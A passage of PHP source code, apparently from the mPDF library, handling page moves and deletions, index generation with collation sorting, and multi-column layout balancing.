$i <= $end_page) { $newarr[($i + ($target_page - $start_page))] = $this->PageLinks[$i]; } elseif ($i >= $target_page && $i < $start_page) { $newarr[($i + $n_toc)] = $this->PageLinks[$i]; } else { $newarr[$i] = $this->PageLinks[$i]; } } $this->PageLinks = $newarr; } // OrientationChanges if (count($this->OrientationChanges)) { $newarr = []; foreach ($this->OrientationChanges as $p => $v) { if ($p >= $start_page && $p <= $end_page) { $newarr[($p + ($target_page - $start_page))] = $this->OrientationChanges[$p]; } elseif ($p >= $target_page && $p < $start_page) { $newarr[$p + $n_toc] = $this->OrientationChanges[$p]; } else { $newarr[$p] = $this->OrientationChanges[$p]; } } ksort($newarr); $this->OrientationChanges = $newarr; } // Page Dimensions if (count($this->pageDim)) { $newarr = []; foreach ($this->pageDim as $p => $v) { if ($p >= $start_page && $p <= $end_page) { $newarr[($p + ($target_page - $start_page))] = $this->pageDim[$p]; } elseif ($p >= $target_page && $p < $start_page) { $newarr[$p + $n_toc] = $this->pageDim[$p]; } else { $newarr[$p] = $this->pageDim[$p]; } } ksort($newarr); $this->pageDim = $newarr; } // HTML Headers & Footers if (count($this->saveHTMLHeader)) { $newarr = []; foreach ($this->saveHTMLHeader as $p => $v) { if ($p >= $start_page && $p <= $end_page) { $newarr[($p + ($target_page - $start_page))] = $this->saveHTMLHeader[$p]; } elseif ($p >= $target_page && $p < $start_page) { $newarr[$p + $n_toc] = $this->saveHTMLHeader[$p]; } else { $newarr[$p] = $this->saveHTMLHeader[$p]; } } ksort($newarr); $this->saveHTMLHeader = $newarr; } if (count($this->saveHTMLFooter)) { $newarr = []; foreach ($this->saveHTMLFooter as $p => $v) { if ($p >= $start_page && $p <= $end_page) { $newarr[($p + ($target_page - $start_page))] = $this->saveHTMLFooter[$p]; } elseif ($p >= $target_page && $p < $start_page) { $newarr[$p + $n_toc] = $this->saveHTMLFooter[$p]; } else { $newarr[$p] = $this->saveHTMLFooter[$p]; } } ksort($newarr); $this->saveHTMLFooter = $newarr; } // Update Internal Links if (count($this->internallink)) { foreach ($this->internallink as $key => $o) { if (is_array($o) && $o['PAGE'] >= $start_page && $o['PAGE'] <= $end_page) { $this->internallink[$key]['PAGE'] += ($target_page - $start_page); } elseif (is_array($o) && $o['PAGE'] >= $target_page && $o['PAGE'] < $start_page) { $this->internallink[$key]['PAGE'] += $n_toc; } } } // Update Links if (count($this->links)) { foreach ($this->links as $key => $o) { if ($o[0] >= $start_page && $o[0] <= $end_page) { $this->links[$key][0] += ($target_page - $start_page); } if ($o[0] >= $target_page && $o[0] < $start_page) { $this->links[$key][0] += $n_toc; } } } // Update Form fields if (count($this->form->forms)) { foreach ($this->form->forms as $key => $f) { if ($f['page'] >= $start_page && $f['page'] <= $end_page) { $this->form->forms[$key]['page'] += ($target_page - $start_page); } if ($f['page'] >= $target_page && $f['page'] < $start_page) { $this->form->forms[$key]['page'] += $n_toc; } } } /* -- ANNOTATIONS -- */ // Update Annotations if (count($this->PageAnnots)) { $newarr = []; foreach ($this->PageAnnots as $p => $anno) { if ($p >= $start_page && $p <= $end_page) { $np = $p + ($target_page - $start_page); foreach ($anno as $o) { $newarr[$np][] = $o; } } elseif ($p >= $target_page && $p < $start_page) { $np = $p + $n_toc; foreach ($anno as $o) { $newarr[$np][] = $o; } } else { $newarr[$p] = $this->PageAnnots[$p]; } } $this->PageAnnots = $newarr; unset($newarr); } /* -- END ANNOTATIONS -- */ // Update TOC pages if (count($this->tableOfContents->_toc)) { foreach ($this->tableOfContents->_toc as $key => $t) { if ($t['p'] >= $start_page && $t['p'] <= $end_page) { $this->tableOfContents->_toc[$key]['p'] += ($target_page - $start_page); } if ($t['p'] >= $target_page && $t['p'] < $start_page) { $this->tableOfContents->_toc[$key]['p'] += $n_toc; } } } // Update PageNumSubstitutions if (count($this->PageNumSubstitutions)) { $newarr = []; foreach ($this->PageNumSubstitutions as $k => $v) { if ($this->PageNumSubstitutions[$k]['from'] >= $start_page && $this->PageNumSubstitutions[$k]['from'] <= $end_page) { $this->PageNumSubstitutions[$k]['from'] += ($target_page - $start_page); $newarr[$this->PageNumSubstitutions[$k]['from']] = $this->PageNumSubstitutions[$k]; } elseif ($this->PageNumSubstitutions[$k]['from'] >= $target_page && $this->PageNumSubstitutions[$k]['from'] < $start_page) { $this->PageNumSubstitutions[$k]['from'] += $n_toc; $newarr[$this->PageNumSubstitutions[$k]['from']] = $this->PageNumSubstitutions[$k]; } else { $newarr[$this->PageNumSubstitutions[$k]['from']] = $this->PageNumSubstitutions[$k]; } } if (!$sp_present) { $newarr[$target_page] = ['from' => $target_page, 'suppress' => $sp_suppress, 'reset' => $sp_reset, 'type' => $sp_type]; } if (!$tp_present) { $newarr[($target_page + $n_toc)] = ['from' => ($target_page + $n_toc), 'suppress' => $tp_suppress, 'reset' => $tp_reset, 'type' => $tp_type]; } if (!$ep_present && $end_page > count($this->pages)) { $newarr[($end_page + 1)] = ['from' => ($end_page + 1), 'suppress' => $ep_suppress, 'reset' => $ep_reset, 'type' => $ep_type]; } ksort($newarr); $this->PageNumSubstitutions = []; foreach ($newarr as $v) { $this->PageNumSubstitutions[] = $v; } } } function DeletePages($start_page, $end_page = -1) { // move a page/pages EARLIER in the document if ($end_page < 1) { $end_page = $start_page; } $n_tod = $end_page - $start_page + 1; $last_page = count($this->pages); $n_atend = $last_page - $end_page + 1; // move pages for ($i = 0; $i < $n_atend; $i++) { $this->pages[$start_page + $i] = $this->pages[$end_page + 1 + $i]; } // delete pages for ($i = 0; $i < $n_tod; $i++) { unset($this->pages[$last_page - $i]); } /* -- BOOKMARKS -- */ // Update Bookmarks foreach ($this->BMoutlines as $i => $o) { if ($o['p'] >= $end_page) { $this->BMoutlines[$i]['p'] -= $n_tod; } elseif ($p < $start_page) { unset($this->BMoutlines[$i]); } } /* -- END BOOKMARKS -- */ // Update Page Links if (count($this->PageLinks)) { $newarr = []; foreach ($this->PageLinks as $i => $o) { foreach ($this->PageLinks[$i] as $key => $pl) { if (strpos($pl[4], '@') === 0) { $p = substr($pl[4], 1); if ($p > $end_page) { $this->PageLinks[$i][$key][4] = '@' . ($p - $n_tod); } elseif ($p < $start_page) { unset($this->PageLinks[$i][$key]); } } } if ($i > $end_page) { $newarr[($i - $n_tod)] = $this->PageLinks[$i]; } elseif ($p < $start_page) { $newarr[$i] = $this->PageLinks[$i]; } } $this->PageLinks = $newarr; } // OrientationChanges if (count($this->OrientationChanges)) { $newarr = []; foreach ($this->OrientationChanges as $p => $v) { if ($p > $end_page) { $newarr[($p - $t_tod)] = $this->OrientationChanges[$p]; } elseif ($p < $start_page) { $newarr[$p] = $this->OrientationChanges[$p]; } } ksort($newarr); $this->OrientationChanges = $newarr; } // Page Dimensions if (count($this->pageDim)) { $newarr = []; foreach ($this->pageDim as $p => $v) { if ($p > $end_page) { $newarr[($p - $n_tod)] = $this->pageDim[$p]; } elseif ($p < $start_page) { $newarr[$p] = $this->pageDim[$p]; } } ksort($newarr); $this->pageDim = $newarr; } // HTML Headers & Footers if (count($this->saveHTMLHeader)) { foreach ($this->saveHTMLHeader as $p => $v) { if ($p > $end_page) { $newarr[($p - $n_tod)] = $this->saveHTMLHeader[$p]; } // mPDF 5.7.3 elseif ($p < $start_page) { $newarr[$p] = $this->saveHTMLHeader[$p]; } } ksort($newarr); $this->saveHTMLHeader = $newarr; } if (count($this->saveHTMLFooter)) { $newarr = []; foreach ($this->saveHTMLFooter as $p => $v) { if ($p > $end_page) { $newarr[($p - $n_tod)] = $this->saveHTMLFooter[$p]; } elseif ($p < $start_page) { $newarr[$p] = $this->saveHTMLFooter[$p]; } } ksort($newarr); $this->saveHTMLFooter = $newarr; } // Update Internal Links foreach ($this->internallink as $key => $o) { if ($o['PAGE'] > $end_page) { $this->internallink[$key]['PAGE'] -= $n_tod; } elseif ($o['PAGE'] < $start_page) { unset($this->internallink[$key]); } } // Update Links foreach ($this->links as $key => $o) { if ($o[0] > $end_page) { $this->links[$key][0] -= $n_tod; } elseif ($o[0] < $start_page) { unset($this->links[$key]); } } // Update Form fields foreach ($this->form->forms as $key => $f) { if ($f['page'] > $end_page) { $this->form->forms[$key]['page'] -= $n_tod; } elseif ($f['page'] < $start_page) { unset($this->form->forms[$key]); } } /* -- ANNOTATIONS -- */ // Update Annotations if (count($this->PageAnnots)) { $newarr = []; foreach ($this->PageAnnots as $p => $anno) { if ($p > $end_page) { foreach ($anno as $o) { $newarr[($p - $n_tod)][] = $o; } } elseif ($p < $start_page) { $newarr[$p] = $this->PageAnnots[$p]; } } ksort($newarr); $this->PageAnnots = $newarr; } /* -- END ANNOTATIONS -- */ // Update PageNumSubstitutions foreach ($this->PageNumSubstitutions as $k => $v) { if ($this->PageNumSubstitutions[$k]['from'] > $end_page) { $this->PageNumSubstitutions[$k]['from'] -= $n_tod; } elseif ($this->PageNumSubstitutions[$k]['from'] < $start_page) { unset($this->PageNumSubstitutions[$k]); } } unset($newarr); $this->page = count($this->pages); } // ====================================================== /* -- INDEX -- */ // FROM class PDF_Ref == INDEX function IndexEntry($txt, $xref = '') { if ($xref) { $this->IndexEntrySee($txt, $xref); return; } // Search the reference (AND Ref/PageNo) in the array $Present = false; if ($this->keep_block_together) { // do nothing } /* -- TABLES -- */ elseif ($this->kwt) { $size = count($this->kwt_Reference); for ($i = 0; $i < $size; $i++) { if (isset($this->kwt_Reference[$i]['t']) && $this->kwt_Reference[$i]['t'] == $txt) { $Present = true; if ($this->page != $this->kwt_Reference[$i]['op']) { $this->kwt_Reference[$i]['op'] = $this->page; } } } if (!$Present) { // If not found, add it $this->kwt_Reference[] = ['t' => $txt, 'op' => $this->page]; } } /* -- END TABLES -- */ else { $size = count($this->Reference); for ($i = 0; $i < $size; $i++) { if (isset($this->Reference[$i]['t']) && $this->Reference[$i]['t'] == $txt) { $Present = true; if (!in_array($this->page, $this->Reference[$i]['p'])) { $this->Reference[$i]['p'][] = $this->page; } } } if (!$Present) { // If not found, add it $this->Reference[] = ['t' => $txt, 'p' => [$this->page]]; } } } // Added function to add a reference "Elephants. See Chickens" function IndexEntrySee($txta, $txtb) { if ($this->directionality == 'rtl') { // *OTL* // ONLY DO THIS IF NOT IN TAGS if ($txta == strip_tags($txta)) { $txta = str_replace(':', ' - ', $txta); // *OTL* } if ($txtb == strip_tags($txtb)) { $txtb = str_replace(':', ' - ', $txtb); // *OTL* } } // *OTL* else { // *OTL* if ($txta == strip_tags($txta)) { $txta = str_replace(':', ', ', $txta); } if ($txtb == strip_tags($txtb)) { $txtb = str_replace(':', ', ', $txtb); } } // *OTL* $this->Reference[] = ['t' => $txta . ' - see ' . $txtb, 'p' => []]; } private function filesInDir($directory) { $files = []; foreach ((new \DirectoryIterator($directory)) as $v) { if ($v->isDir() || $v->isDot()) { continue; } $files[] = $v->getPathname(); } return $files; } function InsertIndex($usedivletters = 1, $useLinking = false, $indexCollationLocale = '', $indexCollationGroup = '') { $size = count($this->Reference); if ($size == 0) { return false; } // $spacer used after named entry // $sep separates number [groups], $joiner joins numbers in range // e.g. "elephant 73, 97-99" = elephant[$spacer]73[$sep]97[$joiner]99 // $subEntrySeparator separates main and subentry (if $this->indexUseSubentries == false;) e.g. // Mammal:elephant => Mammal[$subEntrySeparator]elephant // $subEntryInset specifies what precedes a subentry (if $this->indexUseSubentries == true;) e.g. // Mammal:elephant => [$subEntryInset]elephant $spacer = "\xc2\xa0 "; if ($this->directionality == 'rtl') { $sep = '، '; $joiner = '-'; $subEntrySeparator = '، '; $subEntryInset = ' - '; } else { $sep = ', '; $joiner = '-'; $subEntrySeparator = ', '; $subEntryInset = ' - '; } for ($i = 0; $i < $size; $i++) { $txt = $this->Reference[$i]['t']; $txt = strip_tags($txt); // mPDF 6 $txt = $this->purify_utf8($txt); $this->Reference[$i]['uf'] = $txt; // Unformatted e.g. pure utf-8 encoded characters, no mark-up/tags // Used for ordering and collation } if ($usedivletters) { if ($indexCollationGroup && \in_array(strtolower($indexCollationGroup), array_map(function ($v) { return strtolower(basename($v, '.php')); }, $this->filesInDir(__DIR__ . '/../data/collations/')))) { $collation = require __DIR__ . '/../data/collations/' . $indexCollationGroup . '.php'; } else { $collation = []; } for ($i = 0; $i < $size; $i++) { if ($this->Reference[$i]['uf']) { $l = mb_substr($this->Reference[$i]['uf'], 0, 1, 'UTF-8'); if (isset($indexCollationGroup) && $indexCollationGroup) { $uni = $this->UTF8StringToArray($l); $ucode = $uni[0]; if (isset($collation[$ucode])) { $this->Reference[$i]['d'] = UtfString::code2utf($collation[$ucode]); } else { $this->Reference[$i]['d'] = mb_strtolower($l, 'UTF-8'); } } else { $this->Reference[$i]['d'] = mb_strtolower($l, 'UTF-8'); } } } } // Alphabetic sort of the references $originalLocale = setlocale(LC_COLLATE, 0); if ($indexCollationLocale) { setlocale(LC_COLLATE, $indexCollationLocale); } usort($this->Reference, function ($a, $b) { return strcoll(strtolower($a['uf']), strtolower($b['uf'])); }); if ($indexCollationLocale) { setlocale(LC_COLLATE, $originalLocale); } $html = '<div class="mpdf_index_main">'; $lett = ''; $last_lett = ''; $mainentry = ''; for ($i = 0; $i < $size; $i++) { if ($this->Reference[$i]['t']) { if ($usedivletters) { $lett = $this->Reference[$i]['d']; if ($lett != $last_lett) { $html .= '<div class="mpdf_index_letter">' . $lett . '</div>'; } } $txt = $this->Reference[$i]['t']; // Sub-entries e.g. Mammals:elephant // But allow for tags e.g. <b>Mammal</b>:elephants $a = preg_split('/(<.*?>)/', $txt, -1, PREG_SPLIT_DELIM_CAPTURE); $txt = ''; $marker = false; foreach ($a as $k => $e) { if ($k % 2 == 0 && !$marker) { if (strpos($e, ':') !== false) { // == SubEntry if ($this->indexUseSubentries) { // If the Main entry does not have any page numbers associated with it // create and insert an entry list($txtmain, $sub) = preg_split('/[:]/', $e, 2); if (strip_tags($txt . $txtmain) != $mainentry) { $html .= '<div class="mpdf_index_entry">' . $txt . $txtmain . '</div>'; $mainentry = strip_tags($txt . $txtmain); } $txt = $subEntryInset; $e = $sub; // Only replace first one } else { $e = preg_replace('/[:]/', $subEntrySeparator, $e, 1); // Only replace first one } $marker = true; // Don't replace any more once the subentry marker has been found } } $txt .= $e; } if (!$marker) { $mainentry = strip_tags($txt); } $html .= '<div class="mpdf_index_entry">'; $html .= $txt; $ppp = $this->Reference[$i]['p']; // = array of page numbers to point to if (count($ppp)) { sort($ppp); $newarr = []; $range_start = $ppp[0]; $range_end = 0; $html .= $spacer; for ($zi = 1; $zi < count($ppp); $zi++) { if ($ppp[$zi] == ($ppp[($zi - 1)] + 1)) { $range_end = $ppp[$zi]; } else { if ($range_end) { if ($range_end == $range_start + 1) { if ($useLinking) { $html .= '<a class="mpdf_index_link" href="@' . $range_start . '">'; } $html .= $this->docPageNum($range_start); if ($useLinking) { $html .= '</a>'; } $html .= $sep; if ($useLinking) { $html .= '<a class="mpdf_index_link" href="@' . $ppp[$zi - 1] . '">'; } $html .= $this->docPageNum($ppp[$zi - 1]); if ($useLinking) { $html .= '</a>'; } $html .= $sep; } } else { if ($useLinking) { $html .= '<a class="mpdf_index_link" href="@' . $ppp[$zi - 1] . '">'; } $html .= $this->docPageNum($ppp[$zi - 1]); if ($useLinking) { $html .= '</a>'; } $html .= $sep; } $range_start = $ppp[$zi]; $range_end = 0; } } if ($range_end) { if ($useLinking) { $html .= '<a class="mpdf_index_link" href="@' . $range_start . '">'; } $html .= $this->docPageNum($range_start); if ($range_end == $range_start + 1) { if ($useLinking) { $html .= '</a>'; } $html .= $sep; if ($useLinking) { $html .= '<a class="mpdf_index_link" href="@' . $range_end . '">'; } $html .= $this->docPageNum($range_end); if ($useLinking) { $html .= '</a>'; } } else { $html .= $joiner; $html .= $this->docPageNum($range_end); if ($useLinking) { $html .= '</a>'; } } } else { if ($useLinking) { $html .= '<a class="mpdf_index_link" href="@' . $ppp[(count($ppp) - 1)] . '">'; } $html .= $this->docPageNum($ppp[(count($ppp) - 1)]); if ($useLinking) { $html .= '</a>'; } } } } $html .= '</div>'; $last_lett = $lett; } $html .= '</div>'; $save_fpb = $this->fixedPosBlockSave; $this->WriteHTML($html); $this->fixedPosBlockSave = $save_fpb; $this->breakpoints[$this->CurrCol][] = $this->y; // *COLUMNS* } /* -- END INDEX -- */ function AcceptPageBreak() { if (count($this->cellBorderBuffer)) { $this->printcellbuffer(); } // *TABLES* /* -- COLUMNS -- */ if ($this->ColActive == 1) { if ($this->CurrCol < $this->NbCol - 1) { // Go to the next column $this->CurrCol++; $this->SetCol($this->CurrCol); $this->y = $this->y0; $this->ChangeColumn = 1; // Number (and direction) of columns changed +1, +2, -2 etc. // DIRECTIONALITY RTL if ($this->directionality == 'rtl') { $this->ChangeColumn = -($this->ChangeColumn); } // *OTL* // Stay on the page return false; } else { // Go back to the first column - NEW PAGE if (count($this->columnbuffer)) { $this->printcolumnbuffer(); } $this->SetCol(0); $this->y0 = $this->tMargin; $this->ChangeColumn = -($this->NbCol - 1); // DIRECTIONALITY RTL if ($this->directionality == 'rtl') { $this->ChangeColumn = -($this->ChangeColumn); } // *OTL* // Page break return true; } } /* -- END COLUMNS -- */ /* -- TABLES -- */ elseif ($this->table_rotate) { if ($this->tablebuffer) { $this->printtablebuffer(); } return true; } /* -- END TABLES -- */ else { // *COLUMNS* $this->ChangeColumn = 0; return $this->autoPageBreak; } // *COLUMNS* return $this->autoPageBreak; } // ----------- COLUMNS --------------------- /* -- COLUMNS -- */ function SetColumns($NbCol, $vAlign = '', $gap = 5) { // NbCol = number of columns // Anything less than 2 turns columns off if ($NbCol < 2) { // SET COLUMNS OFF if ($this->ColActive) { $this->ColActive = 0; if (count($this->columnbuffer)) { $this->printcolumnbuffer(); } $this->NbCol = 1; $this->ResetMargins(); $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $this->divwidth = 0; $this->Ln(); } $this->ColActive = 0; $this->columnbuffer = []; $this->ColDetails = []; $this->columnLinks = []; $this->columnAnnots = []; $this->columnForms = []; $this->col_BMoutlines = []; $this->col_toc = []; $this->breakpoints = []; } else { // SET COLUMNS ON if ($this->ColActive) { $this->ColActive = 0; if (count($this->columnbuffer)) { $this->printcolumnbuffer(); } $this->ResetMargins(); } if (isset($this->y) && $this->y > $this->tMargin) { $this->Ln(); } $this->NbCol = $NbCol; $this->ColGap = $gap; $this->divwidth = 0; $this->ColActive = 1; $this->ColumnAdjust = true; // enables column height adjustment for the page $this->columnbuffer = []; $this->ColDetails = []; $this->columnLinks = []; $this->columnAnnots = []; $this->columnForms = []; $this->col_BMoutlines = []; $this->col_toc = []; $this->breakpoints = []; if ((strtoupper($vAlign) == 'J') || (strtoupper($vAlign) == 'JUSTIFY')) { $vAlign = 'J'; } else { $vAlign = ''; } $this->colvAlign = $vAlign; // Save the ordinate $absL = $this->DeflMargin - ($gap / 2); $absR = $this->DefrMargin - ($gap / 2); $PageWidth = $this->w - $absL - $absR; // virtual pagewidth for calculation only $ColWidth = (($PageWidth - ($gap * ($NbCol))) / $NbCol); $this->ColWidth = $ColWidth; /* -- OTL -- */ if ($this->directionality == 'rtl') { for ($i = 0; $i < $this->NbCol; $i++) { $this->ColL[$i] = $absL + ($gap / 2) + (($NbCol - ($i + 1)) * ($PageWidth / $NbCol)); $this->ColR[$i] = $this->ColL[$i] + $ColWidth; // NB This is not R margin -> R pos } } else { /* -- END OTL -- */ for ($i = 0; $i < $this->NbCol; $i++) { $this->ColL[$i] = $absL + ($gap / 2) + ($i * ($PageWidth / $NbCol) ); $this->ColR[$i] = $this->ColL[$i] + $ColWidth; // NB This is not R margin -> R pos } } // *OTL* $this->pgwidth = $ColWidth; $this->SetCol(0); $this->y0 = $this->y; } $this->x = $this->lMargin; } function SetCol($CurrCol) { // Used internally to set column by number: 0 is 1st column // Set position on a column $this->CurrCol = $CurrCol; $x = $this->ColL[$CurrCol]; $xR = $this->ColR[$CurrCol]; // NB This is not R margin -> R pos if (($this->mirrorMargins) && (($this->page) % 2 == 0)) { // EVEN $x += $this->MarginCorrection; $xR += $this->MarginCorrection; } $this->SetMargins($x, ($this->w - $xR), $this->tMargin); } function AddColumn() { $this->NewColumn(); $this->ColumnAdjust = false; // disables all column height adjustment for the page. } function NewColumn() { if ($this->ColActive == 1) { if ($this->CurrCol < $this->NbCol - 1) { // Go to the next column $this->CurrCol++; $this->SetCol($this->CurrCol); $this->y = $this->y0; $this->ChangeColumn = 1; // DIRECTIONALITY RTL if ($this->directionality == 'rtl') { $this->ChangeColumn = -($this->ChangeColumn); } // *OTL* // Stay on the page } else { // Go back to the first column // Page break if (count($this->columnbuffer)) { $this->printcolumnbuffer(); } $this->AddPage($this->CurOrientation); $this->SetCol(0); $this->y0 = $this->tMargin; $this->ChangeColumn = -($this->NbCol - 1); // DIRECTIONALITY RTL if ($this->directionality == 'rtl') { $this->ChangeColumn = -($this->ChangeColumn); } // *OTL* } $this->x = $this->lMargin; } else { $this->AddPage($this->CurOrientation); } } function printcolumnbuffer() { // Columns ended (but page not ended) -> try to match all columns - unless disabled by using a custom column-break if (!$this->ColActive && $this->ColumnAdjust && !$this->keepColumns) { // Calculate adjustment to add to each column to calculate rel_y value $this->ColDetails[0]['add_y'] = 0; $last_col = 0; // Recursively add previous column's height for ($i = 1; $i < $this->NbCol; $i++) { if (isset($this->ColDetails[$i]['bottom_margin']) && $this->ColDetails[$i]['bottom_margin']) { // If any entries in the column $this->ColDetails[$i]['add_y'] = ($this->ColDetails[$i - 1]['bottom_margin'] - $this->y0) + $this->ColDetails[$i - 1]['add_y']; $last_col = $i; // Last column actually printed } } // Calculate value for each position sensitive entry as though for one column foreach ($this->columnbuffer as $key => $s) { $t = $s['s']; if ($t == 'ACROFORM') { $this->columnbuffer[$key]['rel_y'] = $s['y'] + $this->ColDetails[$s['col']]['add_y'] - $this->y0; $this->columnbuffer[$key]['s'] = ''; } elseif (preg_match('/BT \d+\.\d\d+ (\d+\.\d\d+) Td/', $t)) { $this->columnbuffer[$key]['rel_y'] = $s['y'] + $this->ColDetails[$s['col']]['add_y'] - $this->y0; } elseif (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) \d+\.\d\d+ [\-]{0,1}\d+\.\d\d+ re/', $t)) { $this->columnbuffer[$key]['rel_y'] = $s['y'] + $this->ColDetails[$s['col']]['add_y'] - $this->y0; } elseif (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) m/', $t)) { $this->columnbuffer[$key]['rel_y'] = $s['y'] + $this->ColDetails[$s['col']]['add_y'] - $this->y0; } elseif (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) l/', $t)) { $this->columnbuffer[$key]['rel_y'] = $s['y'] + $this->ColDetails[$s['col']]['add_y'] - $this->y0; } elseif (preg_match('/q \d+\.\d\d+ 0 0 \d+\.\d\d+ \d+\.\d\d+ (\d+\.\d\d+) cm \/(I|FO)\d+ Do Q/', $t)) { $this->columnbuffer[$key]['rel_y'] = $s['y'] + $this->ColDetails[$s['col']]['add_y'] - $this->y0; } elseif (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) \d+\.\d\d+ \d+\.\d\d+ \d+\.\d\d+ \d+\.\d\d+ c/', $t)) { $this->columnbuffer[$key]['rel_y'] = $s['y'] + $this->ColDetails[$s['col']]['add_y'] - $this->y0; } } foreach ($this->internallink as $key => $f) { if (is_array($f) && isset($f['col'])) { $this->internallink[$key]['rel_y'] = $f['Y'] + $this->ColDetails[$f['col']]['add_y'] - $this->y0; } } $breaks = []; foreach ($this->breakpoints as $c => $bpa) { foreach ($bpa as $rely) { $breaks[] = $rely + $this->ColDetails[$c]['add_y'] - $this->y0; } } if (isset($this->ColDetails[$last_col]['bottom_margin'])) { $lcbm = $this->ColDetails[$last_col]['bottom_margin']; } else { $lcbm = 0; } $sum_h = $this->ColDetails[$last_col]['add_y'] + $lcbm - $this->y0; // $sum_h = max($this->ColDetails[$last_col]['add_y'] + $this->ColDetails[$last_col]['bottom_margin'] - $this->y0, end($breaks)); $target_h = ($sum_h / $this->NbCol); $cbr = []; for ($i = 1; $i < $this->NbCol; $i++) { $th = ($sum_h * $i / $this->NbCol); foreach ($breaks as $bk => $val) { if ($val > $th) { if (($val - $th) < ($th - $breaks[$bk - 1])) { $cbr[$i - 1] = $val; } else { $cbr[$i - 1] = $breaks[$bk - 1]; } break; } } } $cbr[($this->NbCol - 1)] = $sum_h; // mPDF 6 // Avoid outputing with 1st column empty if (isset($cbr[0]) && $cbr[0] == 0) { for ($i = 0; $i < $this->NbCol - 1; $i++) { $cbr[$i] = $cbr[$i + 1]; } } // Now update the columns - divide into columns of approximately equal value $last_new_col = 0; $yadj = 0; // mm $xadj = 0; $last_col_bottom = 0; $lowest_bottom_y = 0; $block_bottom = 0; $newcolumn = 0; foreach ($this->columnbuffer as $key => $s) { if (isset($s['rel_y'])) { // only process position sensitive data if ($s['rel_y'] >= $cbr[$newcolumn]) { $newcolumn++; } else { $newcolumn = $last_new_col; } $block_bottom = max($block_bottom, ($s['rel_y'] + $s['h'])); if ($this->directionality == 'rtl') { // *OTL* $xadj = -(($newcolumn - $s['col']) * ($this->ColWidth + $this->ColGap)); // *OTL* } // *OTL* else { // *OTL* $xadj = ($newcolumn - $s['col']) * ($this->ColWidth + $this->ColGap); } // *OTL* if ($last_new_col != $newcolumn) { // Added new column $last_col_bottom = $this->columnbuffer[$key]['rel_y']; $block_bottom = 0; } $yadj = ($s['rel_y'] - $s['y']) - ($last_col_bottom) + $this->y0; // callback function $t = $s['s']; // mPDF 5.7+ $t = $this->columnAdjustPregReplace('Td', $xadj, $yadj, '/BT (\d+\.\d\d+) (\d+\.\d\d+) Td/', $t); $t = $this->columnAdjustPregReplace('re', $xadj, $yadj, '/(\d+\.\d\d+) (\d+\.\d\d+) (\d+\.\d\d+) ([\-]{0,1}\d+\.\d\d+) re/', $t); $t = $this->columnAdjustPregReplace('l', $xadj, $yadj, '/(\d+\.\d\d+) (\d+\.\d\d+) l/', $t); $t = $this->columnAdjustPregReplace('img', $xadj, $yadj, '/q (\d+\.\d\d+) 0 0 (\d+\.\d\d+) (\d+\.\d\d+) (\d+\.\d\d+) cm \/(I|FO)/', $t); $t = $this->columnAdjustPregReplace('draw', $xadj, $yadj, '/(\d+\.\d\d+) (\d+\.\d\d+) m/', $t); $t = $this->columnAdjustPregReplace('bezier', $xadj, $yadj, '/(\d+\.\d\d+) (\d+\.\d\d+) (\d+\.\d\d+) (\d+\.\d\d+) (\d+\.\d\d+) (\d+\.\d\d+) c/', $t); $this->columnbuffer[$key]['s'] = $t; $this->columnbuffer[$key]['newcol'] = $newcolumn; $this->columnbuffer[$key]['newy'] = $s['y'] + $yadj; $last_new_col = $newcolumn; $clb = $s['y'] + $yadj + $s['h']; // bottom_margin of current if ((isset($this->ColDetails[$newcolumn]['max_bottom']) && $clb > $this->ColDetails[$newcolumn]['max_bottom']) || (!isset($this->ColDetails[$newcolumn]['max_bottom']) && $clb)) { $this->ColDetails[$newcolumn]['max_bottom'] = $clb; } if ($clb > $lowest_bottom_y) { $lowest_bottom_y = $clb; } // Adjust LINKS if (isset($this->columnLinks[$s['col']][intval($s['x'])][intval($s['y'])])) { $ref = $this->columnLinks[$s['col']][intval($s['x'])][intval($s['y'])]; $this->PageLinks[$this->page][$ref][0] += ($xadj * Mpdf::SCALE); $this->PageLinks[$this->page][$ref][1] -= ($yadj * Mpdf::SCALE); unset($this->columnLinks[$s['col']][intval($s['x'])][intval($s['y'])]); } // Adjust FORM FIELDS if (isset($this->columnForms[$s['col']][intval($s['x'])][intval($s['y'])])) { $ref = $this->columnForms[$s['col']][intval($s['x'])][intval($s['y'])]; $this->form->forms[$ref]['x'] += ($xadj); $this->form->forms[$ref]['y'] += ($yadj); unset($this->columnForms[$s['col']][intval($s['x'])][intval($s['y'])]); } /* -- ANNOTATIONS -- */ if (isset($this->columnAnnots[$s['col']][intval($s['x'])][intval($s['y'])])) { $ref = $this->columnAnnots[$s['col']][intval($s['x'])][intval($s['y'])]; if ($this->PageAnnots[$this->page][$ref]['x'] < 0) { $this->PageAnnots[$this->page][$ref]['x'] -= ($xadj); } else { $this->PageAnnots[$this->page][$ref]['x'] += ($xadj); } $this->PageAnnots[$this->page][$ref]['y'] += ($yadj); // unlike PageLinks, Page annots has y values from top in mm unset($this->columnAnnots[$s['col']][intval($s['x'])][intval($s['y'])]); } /* -- END ANNOTATIONS -- */ } } /* -- BOOKMARKS -- */ // Adjust Bookmarks foreach ($this->col_BMoutlines as $v) { $this->BMoutlines[] = ['t' => $v['t'], 'l' => $v['l'], 'y' => $this->y0, 'p' => $v['p']]; } /* -- END BOOKMARKS -- */ /* -- TOC -- */ // Adjust ToC foreach ($this->col_toc as $v) { $this->tableOfContents->_toc[] = ['t' => $v['t'], 'l' => $v['l'], 'p' => $v['p'], 'link' => $v['link'], 'toc_id' => $v['toc_id']]; $this->links[$v['link']][1] = $this->y0; } /* -- END TOC -- */ // Adjust column length to be equal if ($this->colvAlign == 'J') { foreach ($this->columnbuffer as $key => $s) { if (isset($s['rel_y'])) { // only process position sensitive data // Set ratio to expand y values or heights if (isset($this->ColDetails[$s['newcol']]['max_bottom']) && $this->ColDetails[$s['newcol']]['max_bottom'] && $this->ColDetails[$s['newcol']]['max_bottom'] != $this->y0) { $ratio = ($lowest_bottom_y - ($this->y0)) / ($this->ColDetails[$s['newcol']]['max_bottom'] - ($this->y0)); } else { $ratio = 1; } if (($ratio > 1) && ($ratio <= $this->max_colH_correction)) { $yadj = ($s['newy'] - $this->y0) * ($ratio - 1); // Adjust LINKS if (isset($this->columnLinks[$s['col']][intval($s['x'])][intval($s['y'])])) { $ref = $this->columnLinks[$s['col']][intval($s['x'])][intval($s['y'])]; $this->PageLinks[$this->page][$ref][1] -= ($yadj * Mpdf::SCALE); // y value 